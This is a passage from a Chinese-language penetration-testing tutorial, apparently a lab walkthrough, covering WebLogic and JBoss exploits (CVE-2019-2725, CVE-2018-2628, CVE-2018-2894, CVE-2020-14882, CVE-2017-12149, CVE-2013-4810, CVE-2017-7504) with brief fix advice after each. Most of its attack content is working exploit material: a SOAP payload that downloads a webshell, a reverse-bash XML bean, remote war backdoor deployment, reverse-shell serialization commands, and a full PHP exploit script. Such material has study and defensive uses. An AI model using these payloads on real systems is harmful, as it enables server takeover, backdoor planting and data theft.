以上路径都在WebLogic安装处。删除以上文件之后，需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面

3、wls-wsat反序列化漏洞(CVE-2019-2725)

漏洞描述

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞，这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞，通过针对Oracle官网历年来的补丁构造payload来绕过

影响版本

weblogic 10.x

weblogic 12.1.3

漏洞复现

漏洞存在于：_async/AsyncResponseService，访问地址可以访问则存在漏洞

使用burpsuite提交poc 下载远程后门到指定目录

POST /_async/AsyncResponseService HTTP/1.1

Host: 192.168.0.185:7001

Content-Length: 910

Accept-Encoding: gzip, deflate

SOAPAction:

Accept: /

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Connection: keep-alive

content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell(new-object
System.Net.WebClient).DownloadFile('http://192.168.0.182:81/shell.jsp.txt','serv
ers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp
')</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

连接后门

修复建议

禁用bea_wls9_async_response组件

删除wls9_async_response的war包并重启

禁止访问 /_async/* 路径

4、WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)

漏洞描述

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序（客户端或者其它Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中,并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击

漏洞复现

下载poc

git clone https://github.com/jas502n/CVE-2018-2628.git

进入CVE-2018-2628目录执行getshell命令

python CVE-2018-2628-Getshell.py 192.168.0.159 47136 shell.jsp

python CVE-2018-2628-Getshell.py ip port shell.jsp

漏洞修复

1.及时更新补丁

2.禁用T3协议

3.禁止T3端口对外开放, 或者限制可访问T3端口的IP来源

5、WebLogic CVE-2018-2894文件任意上传

漏洞描述

Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞，进而获取服务器权限。

Oracle 7月更新中，修复了Weblogic Web Service Test Page中一处任意文件上传漏洞，Web ServiceTest Page 在 ‘生产模式’ 下默认不开启，所以该漏洞有一定限制。两个页面分别 为/ws_utc/begin.do、/ws_utc/config.do

影响版本

weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3

漏洞复现

打开vulhub里的docker环境

cd /vulhub/weblogic

sudo apt install docker-compose 没有可以先安装这个组件

sudo docker-compose up -d

http://192.168.0.159:7001/console/login/LoginForm.jsp

获取账号和密码

sudo docker-compose logs | grep password

weblogic dojvLfj3

保存 进入开发模式

开发环境下的测试页有两个，分别为 config.do 和 begin.do

首先进入 config.do 文件进行设置，将目录设置为 ws_utc 应用的静态文件css目录，访问这个目录是无

需权限的，这一点很重要。

来到这个页面

http://192.168.0.159:7001/ws_utc/config.do

设置工作目录

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击添加后上传一个jsp

提交之后点击F12审查元素得到jsp上传后的时间戳

访问路径

http://192.168.0.159:7001/ws_utc/css/config/keystore/1631163729917_shell.jsp

这里我们在对 begin.do 未授权访问进行利用。访问http://192.168.0.159:7001/ws_utc/begin.do，上传一个jsp

点击提交，这里辉显示一个error不用管它，F12进入网络，然后筛选POST方法，得到一个jsp的路径

构造得到http://192.168.0.159:7001/ws_utc/css/upload/RS_Upload_2021-09-09_05-08-33_853/import_file_name_z.jsp，冰蝎连接即可

修复方案

1.升级 设置强口令

6、CVE-2020-14882 WebLogic远程代码执行漏洞

漏洞描述

2020年10月28日，Oracle发布的10月安全更新中的Oracle WebLogic Server 远程代码执行漏洞（CVE-2020-14882）POC被公开，远程攻击者可以通过发送恶意的HTTP GET 请求。成功利用此漏洞的攻击者可在未经身份验证的情况下控制 WebLogic Server Console ，并执行任意代码。

2020年10月29日, Oracle发布的漏洞补丁CVE-2020-14882存在可绕过的0day漏洞。即在Weblogic补丁更新完成后，攻击者仍可绕过WebLogic后台登录等限制，并控制Weblogic服务器。

影响版本

Oracle Weblogic Server 10.3.6.0.0

Oracle Weblogic Server 12.1.3.0.0

Oracle Weblogic Server 12.2.1.3.0

Oracle Weblogic Server 12.2.1.4.0

Oracle Weblogic Server 14.1.1.0.0

漏洞复现

首先进入CVE-2020-14882的docker环境

sudo docker-compose up -d

构造url 达到未授权登录

http://192.168.0.159:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.J
MXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

访问即可进入后台，达到未授权访问的效果

但是这里没有部署安装的按钮，也就是说不能像常规进入后台后写shell进去，这里就需要用到远程加载

XML文件拿shell

首先测试以下漏洞代码执行是否成功，在/tmp/下创建一个test文件夹

sudo docker exec -it cve202014882_weblogic_1 /bin/bash

这里创建一个xml文件，还是使用bash命令得到反弹shell

# reverse-bash.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.0.182/9999 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

nc开启监听端口，访问

nc -lvnp 9999

http://192.168.0.159:7001/console/images/%252E%252E%252Fconsole.portal?
_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.c
ontext.support.ClassPathXmlApplicationContext("http://192.168.0.182/reverse-
bash.xml")

修复方案

修复建议

安装官方最新补丁进行升级

https://www.oracle.com/security-alerts/cpuapr2020.html

临时措施：

由于该漏洞的补丁存在被绕过的风险，建议临时关闭后台/console/console.portal对外访问

七、JBOSS

JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；

JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发，并且由开源社区开发，这使得JBoss广为流行

目录 描述

bin 启动和关闭JBoss 的脚本

client 客户端与JBoss 通信所需的Java 库（JARs）

docs 配置的样本文件（数据库配置等）

docs/dtd 在JBoss 中使用的各种XML 文件的DTD 。

lib 一些JAR，JBoss 启动时加载，且被所有JBoss 配置共享。（不要把你的库放在这里）

server 各种JBoss 配置。每个配置必须放在不同的子目录。子目录的名字表示配置的名字。JBoss 包含3

个默认的配置：minimial，default 和all，在你安装时可以进行选择。

server/all JBoss 的完全配置，启动所有服务，包括集群和IIOP 。(本教程就采用此配置)

server/default JBoss 的默认配置。在没有在JBoss 命令航中指定配置名称时使用。(本教程没有安装此配

置，如果不指定配置名称，启动将会出错)

server/all/conf JBoss 的配置文件。

server/all/data JBoss 的数据库文件。比如，嵌入的数据库，或者JBossMQ 。

server/all/deploy JBoss 的热部署目录。放到这里的任何文件或目录会被JBoss 自动部署。EJB、WAR 、

EAR，甚至服务。

server/all/lib 一些JAR，JBoss 在启动特定配置时加载他们。(default 和minimial 配置也包含这个和下面

两个目录。)

server/all/log JBoss 的日志文件

server/all/tmp JBoss 的临时文件

1、JMX Console未授权访问Getshell

漏洞描述

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进⼊到jmx控制台，并在其中执⾏任何功能

影响版本

Jboss4.x以下

漏洞复现

Jboxx4.x /jmx-console/ 后台存在未授权访问，进入后台后，可直接部署 war 包Getshell。若需登录，可以尝试爆破弱口令登录

然后找到jboss.deployment（jboss 自带的部署功能）中的flavor=URL,type=DeploymentScanner点进去（通过 url 的方式远程部署）

也可以输入url进行此页面

http://192.168.0.179:8080/jmx-console/HtmlAdaptor?

action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL

找到页面中的void addURL()选项来远程加载war包来部署。

填写 war 后门的网址

http://192.168.0.180:91/shell.war

返回到刚进入jmx-console的页面，找到 jboss.web.deployment，如下说明部署成功。如果没显示，多刷新几次页面或者等会儿，直到看到有部署的war包即可

http://192.168.0.179:8080/jmx-console/

访问后门即可

http://192.168.0.179:8080/shell/shell.jsp

修复方案

1.升级jboss

2.关闭jmx-console和web-console，提高安全性

2、JBoss 5.x/6.x 反序列化命令执行漏洞（CVE-2017-12149）

漏洞描述

在Red Hat Enterprise Application Platform 5.2附带的Jboss Application Server中，发现HTTP Invoker的ReadOnlyAccessFilter中的doFilter方法不限制对其执行反序列化的类，从而使攻击者可以通过精心制作的序列化数据执行任意代码

影响版本

影响版本：5.x/6.x

漏洞复现

首先查看jboss版本

该漏洞出现在/invoker/readonly中 ，服务器将用户post请求内容进行反序列化

用工具来验证，在验证之前我们可以访问路径进行初步判断

url://invoker/readonly,看服务器返回情况如下则说明漏洞存在

也可以使用工具进行检测 DeserializeExploit 如果成功直接上产webshell即可

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

使用JavaDeserH2HC进行反弹shell 下载地址 https://github.com/joaomatosf/JavaDeserH2HC

在kali上安装jdk8 这个是安装好的截图

javac -version &&java -version

创建class文件

javac -cp .:commons-collections-3.2.1.jar

ReverseShellCommonsCollectionsHashMap.java

创建反序列化文件

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap

192.168.0.180:9999

监听kali 9999端口

nc -lvnp 9999

psot提交

curl http://192.168.0.179:8080/invoker/readonly –data-binary

@ReverseShellCommonsCollectionsHashMap.ser

序列化文件生成完成，监听本地9999端口 用curl提交post包

修复方案

1.不需要 http-invoker.sar 组件的用户可直接删除此组件。

2.添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中，对 http invoker 组件进

行访问控制：

1.升级新版本。

2.删除 http-invoker.sar 组件。

3.添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中：用于对 http invoker 组件进行访问控制/*

3、Jboss 5.x/6.x admin-Console后台部署war包Getshell

漏洞描述

Jboss 5.x/6.x admin-console和web-console的账号密码是一样的。因此当web-console无法部署war包时，可以使用admin-console来部署。前提是先得到账号密码，密码保存在jboss/server/default/conf/props/jmx-console-users.properties

影响版本

Jboss 5.x/6.x

漏洞复现

先创建一个带有jsp木马的war包，选择一个shell.jsp的木马，在该处打开cmd并执行jar cvf shell.warshell.jsp。会得到一个shell.war 或者用zip 压缩一个zip包改名shell.war

进入admin-console页面后输入账号密码登录

/*

http://192.168.0.179:8080/admin-console/login.seam?conversationId=2

选择 Web Application (WAR)->Add New Web Application (WAR)

上传后门文件shell.war

访问后门

修复方案

1.设置高强度口令

serverdefaultconfpropsjmx-console-users.properties

4、JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

漏洞描述

EJBInvokerServlet和JMXInvokerServlet Servlet中存在一个远程执行代码漏洞。未经身份验证的远程攻击者可以通过特制请求利用此漏洞来安装任意应用程序

影响版本

实际上主要集中在 jboss 6.x 版本上:

Apache Group Commons Collections 4.0

Apache Group Commons Collections 3.2.1

Apache Group Commons Collections

漏洞复现

跟CVE-2015-7501利⽤⽅法⼀样，只是路径不⼀样，这个漏洞利⽤路径是

/invoker/EJBInvokerServlet

<?php
$host=gethostbyname($argv[1]);
$port=$argv[2];
$cmd=$argv[3];
//small jsp shell
//change this if you want, url to the app to be deployed, keep it short
$url="http://retrogod.altervista.org/a.war?";
$url_len=pack("n",strlen($url));
function hex_dump($data, $newline="n") {
static $from = '';
static $to = '';
static $width = 16; static $pad = '.';
if ($from==='') {
for ($i=0; $i<=0xFF; $i++) {
$from .= chr($i);
$to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;
}
}
$hex = str_split(bin2hex($data), $width*2);
$chars = str_split(strtr($data, $from, $to), $width);
$offset = 0;
foreach ($hex as $i => $line) {
echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' .
$chars[$i] . ']' . $newline;
$offset += $width;
}
}
$frag_i=
"xacxedx00x05x73x72x00x29x6fx72x67x2ex6ax62x6fx73". // ....sr.)
org.jbos
"x73x2ex69x6ex76x6fx63x61x74x69x6fx6ex2ex4dx61x72". // s.invoca
tion.Mar
"x73x68x61x6cx6cx65x64x49x6ex76x6fx63x61x74x69x6f". // shalledI
nvocatio
"x6exf6x06x95x27x41x3exa4xbex0cx00x00x78x70x70x77". // n...'A>.
....xppw
"x08x78x94x98x47xc1xd0x53x87x73x72x00x11x6ax61x76". // .x..G..S
.sr..jav
"x61x2ex6cx61x6ex67x2ex49x6ex74x65x67x65x72x12xe2". // a.lang.I
nteger..
"xa0xa4xf7x81x87x38x02x00x01x49x00x05x76x61x6cx75". // .....8..
.I..valu
"x65x78x72x00x10x6ax61x76x61x2ex6cx61x6ex67x2ex4e". // exr..jav
a.lang.N
"x75x6dx62x65x72x86xacx95x1dx0bx94xe0x8bx02x00x00". // umber...
........
"x78x70x26x95xbex0ax73x72x00x24x6fx72x67x2ex6ax62". // xp&...sr
.$org.jb
"x6fx73x73x2ex69x6ex76x6fx63x61x74x69x6fx6ex2ex4d". // oss.invo
cation.M
"x61x72x73x68x61x6cx6cx65x64x56x61x6cx75x65xeaxcc". // arshalle
dValue..
"xe0xd1xf4x4axd0x99x0cx00x00x78x70x77";
$frag_ii="x00";
$frag_iii=
"xacxedx00x05x75x72x00x13x5bx4cx6ax61x76x61x2e". // .....ur. .
[Ljava.
"x6cx61x6ex67x2ex4fx62x6ax65x63x74x3bx90xcex58x9f". // lang.Obj
ect;..X.
"x10x73x29x6cx02x00x00x78x70x00x00x00x04x73x72x00". // .s)l...x
p....sr.
"x1bx6ax61x76x61x78x2ex6dx61x6ex61x67x65x6dx65x6e". // .javax.m
anagemen
"x74x2ex4fx62x6ax65x63x74x4ex61x6dx65x0fx03xa7x1b". // t.Object
Name....
"xebx6dx15xcfx03x00x00x78x70x74x00x21x6ax62x6fx73". // .m.....x
pt.!jbos
"x73x2ex73x79x73x74x65x6dx3ax73x65x72x76x69x63x65". // s.system
:service
"x3dx4dx61x69x6ex44x65x70x6cx6fx79x65x72x78x74x00". // =MainDep
loyerxt.
"x06x64x65x70x6cx6fx79x75x71x00x7ex00x00x00x00x00". // .deployu
q.~.....
"x01x74".
$url_len.
$url.
"x75x72x00".
"x13x5bx4cx6ax61x76x61x2ex6cx61". // ur..[
Ljava.la
"x6ex67x2ex53x74x72x69x6ex67x3bxadxd2x56xe7xe9x1d". // ng.Strin
g;..V...
"x7bx47x02x00x00x78x70x00x00x00x01x74x00x10x6ax61". // {G...xp.
...t..ja
"x76x61x2ex6cx61x6ex67x2ex53x74x72x69x6ex67";
$frag_iv=
"x0dxd3".
"xbexc9x78x77x04x00x00x00x01x73x72x00x22x6fx72x67". // ..xw....
.sr."org
"x2ex6ax62x6fx73x73x2ex69x6ex76x6fx63x61x74x69x6f". // .jboss.i
nvocatio
"x6ex2ex49x6ex76x6fx63x61x74x69x6fx6ex4bx65x79xb8". // n.Invoca
tionKey.
"xfbx72x84xd7x93x85xf9x02x00x01x49x00x07x6fx72x64". // .r......
..I..ord
"x69x6ex61x6cx78x70x00x00x00x05x73x71x00x7ex00x05". // inalxp..
..sq.~..
"x77x0dx00x00x00x05xacxedx00x05x70xfbx57xa7xaax78". // w.......
..p.W..x
"x77x04x00x00x00x03x73x71x00x7ex00x07x00x00x00x04". // w.....sq
.~......
"x73x72x00x23x6fx72x67x2ex6ax62x6fx73x73x2ex69x6e". // sr.#org.
jboss.in
"x76x6fx63x61x74x69x6fx6ex2ex49x6ex76x6fx63x61x74". // vocation
.Invocat
"x69x6fx6ex54x79x70x65x59xa7x3ax1cxa5x2bx7cxbfx02". // ionTypeY
.:..+|..
"x00x01x49x00x07x6fx72x64x69x6ex61x6cx78x70x00x00". // ..I..ord
inalxp..
"x00x01x73x71x00x7ex00x07x00x00x00x0ax70x74x00x0f". // ..sq.~..
....pt..
"x4ax4dx58x5fx4fx42x4ax45x43x54x5fx4ex41x4dx45x73". // JMX_OBJE
CT_NAMEs
"x72x00x1bx6ax61x76x61x78x2ex6dx61x6ex61x67x65x6d". // r..javax
.managem
"x65x6ex74x2ex4fx62x6ax65x63x74x4ex61x6dx65x0fx03". // ent.Obje
ctName..
"xa7x1bxebx6dx15xcfx03x00x00x78x70x74x00x21x6ax62". // ...m....
.xpt.!jb
"x6fx73x73x2ex73x79x73x74x65x6dx3ax73x65x72x76x69". // oss.syst
em:servi
"x63x65x3dx4dx61x69x6ex44x65x70x6cx6fx79x65x72x78". // ce=MainD
eployerx
"x78"; // x
$data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii))
.$frag_iii.$frag_iv;
//$pk=""POST /invoker/JMXInvokerServlet/ HTTP/1.1rn". //the same ...
$pk="POST /invoker/EJBInvokerServlet/ HTTP/1.1rn".
"ContentType: application/x-java-serialized-object;
class=org.jboss.invocation.MarshalledInvocationrn".
"Accept-Encoding: x-gzip,x-deflate,gzip,deflatern".
"User-Agent: Java/1.6.0_21rn".
"Host: ".$host.":".$port."rn".
"Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2rn".
"Connection: keep-alivern".
"Content-type: application/x-www-form-urlencodedrn".
"Content-Length: ".strlen($data)."rnrn".
$data;
//echo hex_dump($pk)."n";
$fp=fsockopen($host,$port,$e,$err,3);
fputs($fp,$pk);
$out=fread($fp,8192);
fclose($fp);
//echo hex_dump($out)."n";
sleep(5);
$pk="GET /a/pwn.jsp?cmd=".urlencode($cmd)." HTTP/1.0rn".
"Host: ".$host.":".$port."rn".
"Connection: Closernrn";
echo hex_dump($pk)."n";
$fp=fsockopen($host,$port,$e,$err,3);
fputs($fp,$pk);
$out="";
while (!feof($fp)) {
$out.=fread($fp,8192);
}
fclose($fp);
echo $out;
?>#####################################################Google 关键字: inurl:status
EJBInvokerServlet 利用方法:C:PHP>php exp.php target_ip port
cmd#####################################################参考：
http://www.hack80.com/thread-21814-1-1.htmlhttps://www.exploit-
db.com/exploits/28713/

漏洞修复

升级

5、JBOSSMQ JMS CVE-2017-7504 集群反序列化漏洞 4.X

漏洞描述

JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码

影响版本

JBoss AS 4.x及之前版本

漏洞复现

1、首先验证目标jboss是否存在此漏洞,直接访问

/jbossmq-httpil/HTTPServerILServlet 路径下。若访问200，则可能存在漏洞

此处我们使用JavaDeserH2HC工具来利用该漏洞,尝试直接弹回一个shell

javac -cp .:commons-collections-3.2.1.jar

ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 反

弹的IP:端口

curl http://192.168.0.179:8080/jbossmq-httpil/HTTPServerILServlet/ –data-binary

@ReverseShellCommonsCollectionsHashMap.ser

漏洞修复

1.升级至最新版本

/ 14

150%

更新: 2025-05-06 11:10:41
原文: https://www.yuque.com/yuhui.net/network/qo2u54n2vpmo4pae